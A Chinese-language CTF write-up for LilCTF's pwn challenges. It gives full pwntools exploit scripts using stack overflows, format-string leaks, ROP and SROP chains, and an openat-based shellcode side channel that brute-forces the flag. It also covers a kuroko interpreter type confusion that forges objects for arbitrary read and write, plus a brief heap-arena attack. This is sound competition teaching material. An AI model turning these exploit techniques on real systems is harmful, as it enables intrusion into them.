Lilctf PWN方向全全全全题解！
I like C++
114514后门选项，里面会设置一个函数指针，其中偏移3的地方为后门函数
里面有一个scanf("%s")，裸的栈溢出，还有格式化字符串
条件是拿到堆地址，只要我们输入的地址和它的堆地址一样就能触发
exchange里有个浅拷贝，会free对象并导致leak
最终exp
from pwn import *
filename = './pwn'
libc = ELF("./libc.so.6")
host= 'challenge.xinshi.fun'
port= 42509
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
def addtype(tp):
sla("Enter your choice:","1")
sla("Enter item type:",tp)
def additem(tp,name,desc):
sla("Enter your choice:","2")
sla("Enter item type:",tp)
sla("Enter item name: ",name)
sla("Enter item description",desc)
def edit(tp,idx,name,desc):
sla("Enter your choice:","3")
sla("Enter item type:",tp)
sla("Enter item index: ",str(idx))
sla("Enter item name: ",name)
sla("Enter item description",desc)
def show(tp,idx):
sla("Enter your choice:","4")
sla("Enter item type:",tp)
sla("Enter item index: ",str(idx))
def dele(tp,idx):
sla("Enter your choice:","5")
sla("Enter item type:",tp)
sla("Enter item index: ",str(idx))
def exchange(tp1,idx,tp2):
sla("Enter your choice:","6")
sla("Enter item name: ","testname")
sla("Enter item description","testdesc")
sla("Enter item type:",tp1)
sla("Enter item index: ",str(idx))
sla("Enter item type:",tp2)
def exchange1(tp1,idx,tp2):
sla("Enter your choice:","6")
sla("Enter item name: ","testname")
sla("Enter item description","testdesc")
sla("Enter item type:",tp1)
sla("Enter item type:",tp2)
def hack():
sla("Enter your choice:","0")
def hack1():
sla("Enter your choice:","114514")
def run(mode, script = ""):
if "d" in mode:
p = gdb.debug(filename, script)
elif "l" in mode:
p = process(filename)
elif "r" in mode:
p = remote(host, port)
elif "a" in mode:
p = process(filename)
gdb.attach(p, script)
return p
def getp():
global script
if len(sys.argv) == 2:
p = run(sys.argv[1], script)
else:
p = run("l", script)
return p
script = '''
go
'''
def pwn():
global p
p = getp()
addtype("type1")
additem("type1","b"*0x100,b"a"*0x30)
addtype("type2")
addtype("type3")
exchange("type1",0,"type2")
show("type1",0)
p.recvuntil("Item name: ")
heap_addr=u64(p.recv(8))*0x1000+0x400
hack1()
p.sendlineafter("いいよ、こ",str(heap_addr))
hack()
p.sendlineafter("Invalid choice. Please try again",f"%6$p%{6+9}$p%{6+0xd}$p%{6+0x6d}$p")
p.recvuntil("0x")
stkaddr=int(p.recv(12),16)
p.recvuntil("0x")
canary=int(p.recv(16),16)
p.recvuntil("0x")
elfaddr=int(p.recv(12),16)- 0xEC7E
p.recvuntil("0x")
libcbase=int(p.recv(12),16)-0x2a28b
rdi=libcbase+0x000000000010f75b
rsi=libcbase+0x0000000000110a4d
rdx_pop4 = libcbase+0x00000000000b503c
rcx = 0x00000000000a877e+libcbase
rsp = 0x000000000003c068 +libcbase
rax=libcbase+0x000dd237
sys_ret = libcbase + 0x98FD5
ret=rdi+1
execve=libcbase+libc.sym["execveat"]
saddr = libcbase + libc.sym["system"]
waddr = libcbase +libc.sym["write"]
sh=libcbase+0x01cb42f
sleep(0.2)
payload = p64(canary)*7
payload += flat(rdi, 0, rsi, libcbase+libc.bss(0x400), rdx_pop4, 0x300, 0, 0, 0, 0, rax, 0x0, sys_ret, rsp, libcbase+libc.bss(0x420))
# payload += p64(rdi)+64(heap_addr&0xfffffffff000)+p64(rsi)+p64(0x1000)+p64(rdx_pop4)+p64(7)*5+p64(rax)+p64(10)+p64(sys_ret)
# payload += p64(rdi)+p64(0)+p64(rsi)+p64(heap_addr)+p64(rdx_pop4)+p64(0x100)*5+p64(rax)+p64(0)+p64(sys_ret)+p64(heap_addr)
# +p64(rdx_pop4)+p64(0x00)*5+p64(rdi)+p64(0xfffffff9c)+p64(0)+p64(rsi)+p64(sh)*2+p64(execve)
# pause()
sl(payload)
sleep(0.2)
# payload = p64(rdi+1)+p64(rdi+1)+p64(rdi)+p64(sh+5)+p64(rsi)+p64(0)+p64(rdx_pop4)+p64(00)+p64(0)*4+p64(rax)+p64(2)+p64(saddr)
# payload = p64(rdi) + p64(2) + p64(rax) + p64(3) + p64(sys_ret)
payload = b"/flag".ljust(0x20, b'\x00')
# payload = flat(rdi, 0, rsi, 2, rax, 0x21, sys_ret)
# payload += flat(rdi, 0, rax, 3, sys_ret)
# payload += flat(rdi, libc_addr+libc.bss(0x400), rsi, 0, rdx_pop4, 0, 0, 0, 0, 0, rax, 0x3b, sys_ret)
payload += flat(rdi, libcbase+libc.bss(0x400), rsi, 0, rdx_pop4, 0, 0, 0, 0, 0, rax, 2, sys_ret)
payload += flat(rdi, 3, rsi, libc.bss(0x400)+libcbase, rdx_pop4, 0x100, 0, 0, 0, 0, rax, 0, sys_ret)
payload += flat(rdi, 1, rsi, libc.bss(0x400)+libcbase, rdx_pop4, 0x100, 0, 0, 0, 0, rax, 1, sys_ret)
s(payload)
pwn()
p.interactive()
ret2all
栈溢出，但是要求前0x60个字符是i love you，且当前函数的rbp的返回地址不能更改
虽然不能更改当前函数的，但是能改下一个函数的
但是只能改到rbp
中间有0x10的字节
做栈溢出，缩短栈帧，确保 rbp - 0x60 > rsp
这样读入的时候就会直接修改read的返回地址，从而扩大溢出范围到0x88
在后来的栈迁移中我们必须始终保持这个条件成立
用sub rsp 0x60 ... 和pop rbp; ret;来控制栈，在高地址我们会找到一个残留的free
这个高地址free附近有一个pop rbx，设置rbx以后用magic gadget把这个地址修改为syscall; ret;
然后构造两次SROP，分别打出 dup 1 和 write 2 泄露 libc 地址
之后简单的ROP即可
from pwn import *
filename = './pwn'
# libc = ELF("./libc.so.6")
host= 'challenge.xinshi.fun'
port= 31266
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
def run(mode, script = ""):
if "d" in mode:
p = gdb.debug(filename, script)
elif "l" in mode:
p = process(filename)
elif "r" in mode:
p = remote(host, port)
elif "a" in mode:
p = process(filename)
gdb.attach(p, script)
return p
def getp():
global script
if len(sys.argv) == 2:
p = run(sys.argv[1], script)
else:
p = run("l", script)
return p
script = '''
go
'''
def pwn():
global p
p = getp()
p.recvuntil("RBP:")
rbp_key = int(p.recvline(keepends=False), 16)
p.recvuntil("RET:")
pie = int(p.recvline(keepends=False), 16) - 0x1871
e.address = pie
ret_key = pie+0x1871
rbp = 0x1253 + pie
ret = rbp+1
lr = pie + 0x164e
magic = pie + 0x1252
love = b"I love you I feel lonely"
pay1 = love*4 + flat(rbp_key, ret_key, rbp_key-0x10, pie+0x182b, rbp_key -0x10)
s(pay1)
payload = SigreturnFrame()
payload.rdi=1
payload.rsi=0
payload.rdx=0
payload.rax=0x20
payload.rsp=rbp_key-0xf8
payload.rbp=rbp_key-0xf8
payload.rip=ret
sleep(0.1)
pay2 = flat(0,ret,ret,ret,ret,ret,ret,rbp, rbp_key-0x40, pie+0x182b,0,0,0,0,0,0,0)
s(pay2)
sleep(0.1)
pay3 = flat(0x11,0x22,0x33,rbp,rbp_key-0x90,pie+0x182b,0x77,0x108, 0 ,0xaa,rbp_key-0x100,ret,0xdd,0x33, 0, 0)
s(pay3)
sleep(0.1)
pay4 = flat(0x31823, ret, ret, ret, rbp, rbp_key-0x100, pie+0x182b, 0x7 ,0x8 , 0x9, 0xa, 0xb, 0xc, 0 , rbp_key-0xf0, rbp_key-0x100)
s(pay4)
sleep(0.1)
pay5 = flat(1, 2, 3, 4, 5, 6, 7, 8, ret, ret, ret, ret, ret) +b'\xb6'
s(pay5)
sleep(0.1)
pay6 = flat(1, 2, 3, 4, 5, 6, 7, 8, rbp, rbp_key-0x130, pie+0x182b, ret, ret)
s(pay6)
sleep(0.1)
pay7 = flat(1, 2, 3, 4, rbp, rbp_key-0xf8+0x3d, magic, rbp, rbp_key-0xe8, pie+0x182f, ret, ret, ret, ret, ret, ret, ret)
s(pay7)
sleep(0.1)
s(p64(ret)+p64(ret)[0:7])
sleep(0.1)
s(p64(rbp)+p64(rbp_key-0xe0)+p64(pie+0x182b)+p64(ret)+p64(ret)+p64(rbp)+p64(rbp_key-0xd0+0x78)+p64(pie+0x182f)+bytes(payload)[0x40::])
sleep(0.1)
s(p64(ret)+p64(ret)[0:7])
sleep(0.1)
s(flat(rbp, rbp_key-0xe0, lr, ret))
# pay11 = flat(rbp, rbp_key-0xf8+0x90, pie+0x182f,)
sleep(0.1)
s(flat(rbp, rbp_key-0xe0+0x38, pie+0x182b, 0xaaaaaaaa, 0xbb, 0xcc, 2, rbp_key-0x120, rbp_key-0x100, 0xee, 0x100, 1, 0x1234))
sleep(0.1)
s(p64(ret)+p64(ret)[0:7])
p.recvuntil("Keep it and...I love you\n")
p.recv(0x28)
libcbase = u64(p.recv(8))-0xdf5d9
print(hex(libcbase))
sys_ret = libcbase + 0xDF5D9
rdi = libcbase + 0x000000000010f75b
rsi = libcbase + 0x0000000000110a4d
rax = libcbase + 0x00000000000dd237
rdx_pop4 = libcbase + 0x00000000000b503c
sleep(0.1)
pay = p64(rdx_pop4)+p64(0x1000)+p64(0)*4+p64(rdi)+p64(0)+p64(rsi)+p64(rbp_key-0xf0)+p64(sys_ret)
s(pay)
sleep(0.1)
final = b"/flag\x00\x00\x00" + flat(rdi, rbp_key-0xf0, rsi, 0, rdx_pop4, 0, 0, 0, 0, 0, rax, 2, sys_ret)
final += flat(rax, 0x20, rdi, 0, sys_ret)
final += flat(rax, 0x21, rdi, 3, rsi, 0, sys_ret)
final += flat(rdx_pop4, 0x100, 0, 0, 0, 0, rsi, rbp_key-0x20, rdi, 0, sys_ret)
final += flat(rax, 1, rdi, 2, sys_ret)
pause()
s(final)
# print(hex(pie))
# print(hex(rbp_key))
# for i in range(0, len(bytes(payload)), 8):
# print(i/8, hex(u64(bytes(payload)[i:i+8])))
pwn()
p.interactive()
trumanshow
这道题是侧信道，通过控制程序错误码来爆破flag
给的shellcode太短，把要设置的字符串flag和其它值read到栈上然后pop可以减少长度
虽然chroot了根目录，但是openat没有禁用，可以用openat的相对目录功能来打开flag
(fd = 2 -> "/"，然后rdi = 2, rsi = flag, rdx = 0, r10 = 0 即可)
最后就是爆破，因为过滤了那几个字符，我们不能用add和cmp
但是我们可以用sub和jb、ja、je来做同样的事情
注意flag字符包括过滤的那几个字符，所以可能要多次修改shellcode确保最终flag正确。
#!/bin/python3
from pwn import *
filename = './chtest'
# libc = ELF("./libc.so.6")
host= 'challenge.xinshi.fun'
port= 45912
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
e = ELF(filename)
context.log_level='debug'
# context.gdbpath = '/usr/bin/gdb'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
context.terminal = ['tmux', 'splitw', '-h']
def run(mode, script = ""):
if "d" in mode:
p = gdb.debug(filename, script)
elif "l" in mode:
p = process(filename)
elif "r" in mode:
p = remote(host, port)
elif "a" in mode:
p = process(filename)
gdb.attach(p, script)
return p
def getp():
global script
if len(sys.argv) == 2:
p = run(sys.argv[1], script)
else:
p = run("l", script)
return p
script = '''
go
'''
def pwn(offset, value):
global p
p = getp()
shellcode = f"""
push rsp
pop rsi
push 0x7f
pop rdx
xor eax, eax
syscall
pop rax
pop rax
pop rax
pop rdi
pop rdx
pop r10
syscall
push rax
pop rdi
pop rax
pop rdx
syscall
mov al, byte ptr[rsi+{offset}]
sub al, {value*2}
sub al, {-value}
je loc1
ud2
loc1:
"""
# print(asm(shellcode))
p.recvuntil("Now it's your show time")
s(asm(shellcode))
# s(len(asm(shellcode)))
sleep(0.1)
s(b'flag\x00\x00\x00\x00'+p64(0)+p64(0x101)+p64(2)+p64(0)+p64(0)+p64(0)+p64(0x7f))
content = p.recvall(timeout=0.5)
print(content)
if b'132' in content:
return 1
else:
return 0
def bom():
# pwn(0, 0x80)
flag = 'LILCTF{64d0f0d6-ee5f-4373-8772-2e423bd887d1}'
#LILCTF{64d0f0d6-ee5f-4373-?772-2e423bd??7d1}
flag2 = ''
for i in range(0, len(flag)):
ans = u8(flag[i].encode())
j = 0
if pwn(i, ans) == 0:
flag2 += chr(ans)
print(flag2)
sleep(0.5)
continue
times = 0
while True:
times += 1
if times > 5:
flag2 += '?'
break
j += 1
ans += j
if pwn(i, ans) == 0:
flag2 += chr(ans)
break
j += 1
ans -= j
if pwn(i, ans) == 0:
flag2 += chr(ans)
break
# flag += chr(ans + 1)
print(flag2)
sleep(0.5)
bom()
p.interactive()
# 这里只有最终版本的shellcode，也就是验证用的shellcode
# 正常情况下你无法通过这一段shellcode较快地获得 flag
# 是先写二分拿到大概的flag， 然后再用这个shellcode校正错误的部分
kuroko
不说了先上exp！
import kuroko
let MIN_NORMAL_FLOAT = 2.2250738585072014e-308
def parse_float(val):
let n = 0
for x in list(kuroko.inspect_value(val))[::-1]:
n = (n << 8) | x
return n
def create_float(val):
let krkvalue_holder = val.to_bytes(8, 'little')
let it = tupleiterator(id(krkvalue_holder) - 8)
return it()
def pow(base, exp):
# Case 1: Exponent is zero
if exp == 0:
return 1.0
# Case 2: Handle negative exponents
let is_negative = exp < 0
if is_negative:
exp = -exp
let result = 1.0
let b = float(base)
let e = exp
# Efficiently calculate power for the positive exponent
while e > 0:
if (e & 1) == 1: # If exponent is odd, multiply base into result
result *= b
b *= b
e = e >> 1
if is_negative:
return 1.0 / result
else:
return result
def float_to_int64(f):
if f == 0.0:
return 0
let sign_bit = 0
if f < 0:
sign_bit = 1 << 63
let val = abs(f)
let exponent_biased = 0
let mantissa = 0
if val >= MIN_NORMAL_FLOAT:
let exponent = 0
let mantissa_val = val
if mantissa_val >= 1.0:
while mantissa_val >= 2.0:
mantissa_val = mantissa_val / 2.0
exponent += 1
else:
while mantissa_val < 1.0:
mantissa_val = mantissa_val * 2.0
exponent -= 1
exponent_biased = exponent + 1023
mantissa = int((mantissa_val - 1.0) * 4503599627370496)
else:
exponent_biased = 0
let mantissa_fraction = val / MIN_NORMAL_FLOAT
mantissa = int(mantissa_fraction * 4503599627370496)
return sign_bit | (exponent_biased << 52) | mantissa
def pwn():
let fake_array = bytearray(0x1000)
let fake_array_addr = id(fake_array)
let list_class = id([].__class__)
let fake_tuple_str = 8.to_bytes(8, 'little')
fake_tuple_str += 0.to_bytes(8, 'little')
fake_tuple_str += b'\x00\x00\x01\x00\x00\x00\x00\x00'
fake_tuple_str += b'\x00\x00\x01\x00\x00\x00\x00\x00'
let fake_tuple_str_addr =id(fake_tuple_str)
fake_tuple_str += (fake_array_addr+0x3f).to_bytes(8, 'little')
fake_tuple_str += (fake_array_addr+0x48).to_bytes(8, 'little')
let fake_tuple_str_addr2 = id(fake_tuple_str)
let fake_iter = tupleiterator(id(fake_tuple_str)+0x30)
print(hex(fake_tuple_str_addr))
print(hex(fake_tuple_str_addr2))
print(hex(id(fake_array)))
# print(next(fake_iter))
let varA = (float_to_int64(next(fake_iter)) >> 8) & 0xffffffffffff
for i in range(fake_array_addr, varA-48, 8):
next(fake_iter)
let my_space = (float_to_int64(next(fake_iter)) >> 8) & 0xffffffffffff
print(hex(varA))
let id_addr = id(id)
let fake_group = 8.to_bytes(16, 'little')
fake_group += 0x1000.to_bytes(8, 'little')
fake_group += 0x1000.to_bytes(8, 'little')
fake_group += (my_space+32).to_bytes(8, 'little')
fake_group += (0x7ffd000000000000|(my_space+48)).to_bytes(8, 'little')
let fake_list = 6.to_bytes(16,'little')
fake_list += list_class.to_bytes(48, 'little')
fake_list += 0x400000000000.to_bytes(8, 'little')
fake_list += 0x400000000000.to_bytes(8, 'little')
fake_list += id(id).to_bytes(8, 'little')
for i in range(0, len(fake_group)):
fake_array[i]=fake_group[i]
for i in range(0, len(fake_list)):
fake_array[i+len(fake_group)]=fake_list[i]
let fake_iter2 = tupleiterator(my_space)
print(hex(my_space))
print(hex(float_to_int64(next(fake_iter2))))
let b = next(fake_iter2)
let pie = b[2]
pie = float_to_int64(pie)-0x5a40-0x7000
print(hex(my_space))
print(hex(id(id)))
let index = my_space+0x80-id(id)
index = index>>3
let base = float_to_int64(b[index])
let stdout_pie = create_float(pie+0x99560)
# print(hex(my_space))
b[index] = stdout_pie
let stdout = float_to_int64(b[0])
let libcbase = stdout-0x2045c0
let env_addr = libcbase + 0x20ad58
# print(hex(libcbase))
index = (env_addr-pie-0x99560)>>3
let stack = parse_float(b[index])-0x138
print(hex(stack))
index = (stack -pie-0x99560)>>3
let flag = stack-0x30
let rdi = 0x10f75b+libcbase
let saddr = libcbase + 0xeef30
let rsi =0x0110a4d+libcbase
let edx = libcbase + 0xb5db0
# b[index-2]=create_float(0x6c6166646561722f)
b[index-6]=create_float(0x616c66646165722f)
b[index-5]=create_float(0x67)
# b[index-6]=create_float(rdi+1)
# b[index-5]=create_float(rdi+1)
b[index-4]=create_float(rdi+1)
b[index-3]=create_float(rdi+1)
b[index-2]=create_float(rdi+1)
b[index-1]=create_float(rdi+1)
b[index]=create_float(rdi+1)
b[index+1]=create_float(rdi+1)
b[index+2]=create_float(rdi+1)
b[index+3]=create_float(rdi+1)
b[index+4]=create_float(rdi+1)
b[index+5]=create_float(rdi+1)
b[index+6]=create_float(rdi+1)
b[index+7]=create_float(rdi+1)
b[index+8]=create_float(rdi+1)
b[index+9]=create_float(rdi+1)
b[index+10]=create_float(rdi+1)
# b[index+1]=create_float(rdi+1)
b[index+11]=create_float(rdi)
b[index+12]=create_float(flag)
b[index+13]=create_float(rsi)
b[index+14]=create_float(0)
b[index+15]=create_float(edx)
b[index+16]=create_float(saddr)
pwn()
def exit():
return
# while True:
# let _daimi = 1
好吧我并不知道怎么转float和int64，所以让ai用纯数学方法写了一版
（最后快做不完了于是便找出题人要了转化函数）
（尽管最后还是没在时间内做出来wuwu）
漏洞在tupleiterator()里面，直接传数字x进去，就会把数字x所在地址当作对象并构造迭代器
可以看到成功crush。然后考虑配合id泄露出来的栈地址来伪造对象。
动调+ida可以看到，元组对象和列表对象大概是这样的
struct KrkInstance // sizeof=0x40
// 列表属于instance，可以通过查看flag得到
{ // XREF: Lock/r Thread/r ...
KrkObj obj;
KrkClass *_class;
KrkTable fields;
};
struct KrkObj // type最重要，其余随意
{
uint16_t type;
uint16_t flags;
uint32_t hash;
KrkObj *next;
};
struct KrkTable
{
size_t count;
size_t capacity;
size_t used; //这三个关系到对象的大小
KrkTableEntry *entries; //这里是一个对象指针
ssize_t *indexes;
};
/* 77 */
typedef unsigned __int16 __uint16_t;
/* 62 */
typedef __uint16_t uint16_t;
/* 28 */
typedef unsigned int __uint32_t;
/* 15 */
typedef __uint32_t uint32_t;
/* 66 */
struct KrkObj
{
uint16_t type;
uint16_t flags;
uint32_t hash;
KrkObj *next;
};
struct KrkTuple // 元组则有些许不同
{ // 可以看到元组比list小得多
KrkObj obj;
KrkValueArray values;
};
struct KrkValueArray
{
size_t capacity;
size_t count;
KrkValue *values;
};
因为id可以泄露对象的地址，而对象里的指针和标记值我们往往是无法控制的
但我们可以控制对象指针指向的内容（比如说，list里的内容）
我们期望找到一种对象，他的内容紧邻对象本身分配。
（没有调试过局部变量情况的，后面可以补一下）
（如果有想复现这题的师傅，简易所有变量用函数包起来变成局部变量）
（全部全局变量的话会有奇怪的问题，调试感觉是编译器会一次性读取全部全局变量）
（然后再进行优化与分配，这样会导致一个问题）
（就是可能你后面写代码新建对象会影响到先前变量的分配。。。）
最后调试发现两种对象可以，分别是bytes字符数组和str字符串（均有大小限制）
最后为了方便选取字符数组，用to_bytes可以方便地转化
然后我们伪造如下对象
00 0008 // flags tuple
+08 // next 下一个对象 我们不关心这个，所以随意
+10 2^52 // capacity
+18 2^52 // counts
+20 id_addr // id(id) gdb可以在附近发现pie指针
// 用其它函数也可以
伪造完毕后可以用next读取id对象附近内存
但是tuple目前只能读，我们还期望构造出任意写，这样才可以进行攻击
任意写的话就要构造list，但是实测由于list对象太大，没办法紧贴对象直接伪造出来
所以用我们刚刚获得的任意读来直接拿到一片我们可控的内存
let b = bytesarray(0x1000)
b_addr = id(b)
for i in range(id(id), id(b), 8):
next(fake_iter)
let b_array_addr = next(fake_iter)
# 然后我们还要从array对象中拿内存地址
# 注意这个内存地址是带flags的，如果你直接用iter去读
# 会读出来0x1000个bytes
# 我的解决办法是在最初初始化的时候使指针往下偏移一位
# 这样iter就不会识别到指针，我们再从错位的数据里提取出地址
于是我们拿到了一大片可读可写的空间，我们将在这里继续进行我们的攻击
构造
00 6 // type=instance
08 0
10 list_class // id(list.__class__)
--
40 big_num
48 big_num
50 value_ptr
这样猛猛构造一通以后，我们再用刚才的漏洞拿到fake_iter2
此时你就会惊喜地发现，怎么还是返回double
（那哪里来任意写呢？iter又不支持我们写）
正常情况下，iter只会返回元组或列表里的内容，既然你的指针指向一个无标识的double，那当然就是返回double咯
但让我们换个思路，如果是一个元组套列表，iter会返回什么？
会返回一个完全由我们伪造的列表！
然后如果我们让这个列表的长度超级大，我们就能实现任意读写。
最后我们用这个任意读写打rop执行/readflag即可
（试了system，因为神秘的原因运行不了，好奇怪）
heap-pivoting
什么打歪了
unsorted bin attack 打堆列表，拿到直接编辑main arena
然后编辑arena，topchunk改到堆列表上
alloc完直接拿任意写然后秒了
（topchunk改歪了导致top chunk size=0 崩溃了）
（居然因为这个原因没做出来吗。。。哈基呆你真是。。。）
（我以为有页对齐检查于是睡觉了）
（？？？）
浙公网安备 33010602011771号